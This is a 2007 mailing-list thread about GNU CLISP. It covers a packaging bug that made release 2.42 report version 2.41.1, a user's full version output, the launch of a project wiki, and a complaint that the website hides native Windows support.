#define PACKAGE_STRING "GNU CLISP 2.41.1 (2007-10-12)"
#define PACKAGE_BUGREPORT "http://clisp.cons.org/"

Is 2.41.1 the official internal code?

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Hi Peter,

Peter Van Eynde wrote:
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> Actually I was working on the 2.42 debian package. I downloaded
> http://ftp.gnu.org/pub/gnu/clisp/latest/clisp-2.42.tar.bz2 and:
> 
> $ cat src/version.h
> /* generated by Makefile.devel from version.sh */
> #define PACKAGE_NAME "GNU CLISP"
> #define PACKAGE_TARNAME "clisp"
> #define PACKAGE_VERSION "2.41.1 (2007-10-12)"
> #define PACKAGE_STRING "GNU CLISP 2.41.1 (2007-10-12)"
> #define PACKAGE_BUGREPORT "http://clisp.cons.org/"
> 
> Is 2.41.1 the official internal code?

no, this is a stupid distribution bug.
forgot to re-generated a configure script.
could you fix that locally? (see version.sh)
Thanks.

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Hi,

I just installed clisp 2.42. Then got this:

[grue@heimdal build-dir]$ clisp --version
GNU CLISP 2.41.1 (2007-10-12) (built 3402416387) (memory 3402416546)
Software: GNU C 4.0.0 20050519 (Red Hat 4.0.0-8)
gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type 
-Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations 
-falign-functions=4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a 
libavcall.a libcallback.a /usr/local/lib/libreadline.so -Wl,-rpath 
-Wl,/usr/local/lib -lncurses -ldl   -L/usr/local/lib -lsigsegv -lc 
-L/usr/X11R6/lib
SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS 
SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.4
libreadline 5.1
Features:
(READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL 
COMMON-LISP
  LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI
  GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX)
C Modules: (clisp i18n syscalls regexp readline)
Installation directory: /usr/local/lib/clisp-2.41.1/
User language: ENGLISH
Machine: I686 (I686) heimdal.yoa.dk [127.0.0.1]

I ran clisp 2.39 before, so "GNU CLISP 2.41.1 (2007-10-12)" does not come 
from a previous installation.

Did I get CLISP 2.42 despite the --version message?

Cheers,
Klaus


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Klaus Ebbe Grue wrote:
> Hi,
> 
> I just installed clisp 2.42. Then got this:
> 
> [grue@heimdal build-dir]$ clisp --version
> GNU CLISP 2.41.1 (2007-10-12) (built 3402416387) (memory 3402416546)
> Software: GNU C 4.0.0 20050519 (Red Hat 4.0.0-8)
> gcc -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type 
> -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations 
> -falign-functions=4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a 
> libavcall.a libcallback.a /usr/local/lib/libreadline.so -Wl,-rpath 
> -Wl,/usr/local/lib -lncurses -ldl   -L/usr/local/lib -lsigsegv -lc 
> -L/usr/X11R6/lib
> SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS 
> SPVW_MIXED TRIVIALMAP_MEMORY
> libsigsegv 2.4
> libreadline 5.1
> Features:
> (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL 
> COMMON-LISP
>   LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI
>   GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX)
> C Modules: (clisp i18n syscalls regexp readline)
> Installation directory: /usr/local/lib/clisp-2.41.1/
> User language: ENGLISH
> Machine: I686 (I686) heimdal.yoa.dk [127.0.0.1]
> 
> I ran clisp 2.39 before, so "GNU CLISP 2.41.1 (2007-10-12)" does not come 
> from a previous installation.
> 
> Did I get CLISP 2.42 despite the --version message?

yes, you did.
this is a distribution bug.
too late to fix...


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I enabled clisp wiki at http://clisp.wiki.sourceforge.net/space.menu
please contribute useful content.

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I noticed that the only Windows support listed on
http://clisp.cons.org/ is for Cygwin. Is there any reason for not
acknowledging native Windows support for Clisp on the official site?
(Other than that Microsoft is evil....)

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> * Elliott Slaughter <ryyvbggfynhtugre@tznvy.pbz> [2007-10-29 17:25:25 -0700]:
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> I noticed that the only Windows support listed on
> http://clisp.cons.org/ is for Cygwin. Is there any reason for not
> acknowledging native Windows support for Clisp on the official site?
> (Other than that Microsoft is evil....)

CLISP supports win32 OOTB and offers 2 pre-built binaries.
just follow the link to "SourceForge downloads/HTTP"
(Get CLISP --> Sources and binaries for various platforms)

if you find the clisp web site hard to navigate, please feel free to
design a better site using clisp wiki (announced in the previous message).

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Yes, I am currently using Clisp's prebuilt binaries for Window.
However, when I was first investigating various Lisps, I didn't
realize that Clisp ran on Windows directly, because the only mention
of Windows on the main Clisp page is for Cygwin. Yes, if you click on
downloads you will get to a win32 binary. But it takes a little
perseverance to find, and it may be turning away people new to lisp
that would otherwise like to use Clisp.

On 10/29/07, Sam Steingold <sds@gnu.org> wrote:
> > * Elliott Slaughter <ryyvbggfynhtugre@tznvy.pbz> [2007-10-29 17:25:25 -0700]:
> >
> > I noticed that the only Windows support listed on
> > http://clisp.cons.org/ is for Cygwin. Is there any reason for not
> > acknowledging native Windows support for Clisp on the official site?
> > (Other than that Microsoft is evil....)
>
> CLISP supports win32 OOTB and offers 2 pre-built binaries.
> just follow the link to "SourceForge downloads/HTTP"
> (Get CLISP --> Sources and binaries for various platforms)
>
> if you find the clisp web site hard to navigate, please feel free to
> design a better site using clisp wiki (announced in the previous message).
>
> --
> Sam Steingold (http://sds.podval.org/) on Fedora release 7 (Moonshine)
> http://truepeace.org http://pmw.org.il http://israelunderattack.slide.com
> http://honestreporting.com http://memri.org http://camera.org
> It's not just a language, it's an adventure.  Common Lisp.
>


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> * Elliott Slaughter <ryyvbggfynhtugre@tznvy.pbz> [2007-10-29 22:44:59 -0700]:
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> Yes, I am currently using Clisp's prebuilt binaries for Window.
> However, when I was first investigating various Lisps, I didn't
> realize that Clisp ran on Windows directly, because the only mention
> of Windows on the main Clisp page is for Cygwin. Yes, if you click on
> downloads you will get to a win32 binary. But it takes a little
> perseverance to find, and it may be turning away people new to lisp
> that would otherwise like to use Clisp.

yes, all it takes is to click on "what is clisp" to see the list of
supported platforms.


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Hi Elliott,

Thanks for the valuable feedback to the CLISP team[*]. Perhaps Windows
will be explicitly added to the "Get CLISP" list some time in the
future. The reason it was left off was no doubt the one you mentioned.

Cheers,
David Trudgett

[*] I am but a simple user of CLISP, by the way.

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